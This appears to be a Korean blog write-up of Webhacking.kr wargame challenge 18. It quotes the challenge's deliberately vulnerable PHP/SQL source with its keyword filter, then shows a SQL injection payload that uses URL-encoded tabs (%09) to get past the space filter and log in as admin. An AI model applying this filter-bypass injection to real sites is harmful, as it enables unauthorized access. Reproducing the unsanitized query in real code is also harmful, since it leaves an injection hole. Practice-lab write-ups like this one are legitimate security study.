Webhacking.kr 18번 문제풀이

동스토리 ㅣ 2020. 12. 6. 20:55

반응형

안녕하세요.

 

웹 해킹 18번 문제풀이 하겠습니다.

 

우선, 소스코드를 열어보겠습니다.

1 제출
2 제출

if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack")

 

(공백) / ( ) | & select from 0x -> 필터링 되고 있는 값들

 

 

$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); 

// admin's no = 2

if($result['id']=="guest") echo "hi guest";

if($result['id']=="admin"){
solve(18);
echo "hi admin!"

 

우리는 핵심은 결국 필터링되고 있는 값들을 우회하여 where 절을 참으로 만들어 no 값을 2를 넣어주어 "hi admin"을 출력해주면 될거 같네요!

 

1. where id='guest' and no=3 or no=2

 

 

-> 공백 때문에 필터링 되고 있는 걸 확인 할 수있습니다.

 

그렇다면, 공백의 인코딩 값인 Tab: %09 를 사용해 보겠습니다.

 

2. where id='guest' and no=3%09or%09no=2

 

 

감사합니다.

 

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 20번 문제풀이  (0) 2020.12.09
Webhacking.kr 19번 문제풀이  (0) 2020.12.07
Webhacking.kr 17번 문제풀이  (0) 2020.12.04
Webhacking.kr 16번 문제풀이  (0) 2020.11.29
Webhacking.kr 15번 문제풀이  (0) 2020.11.26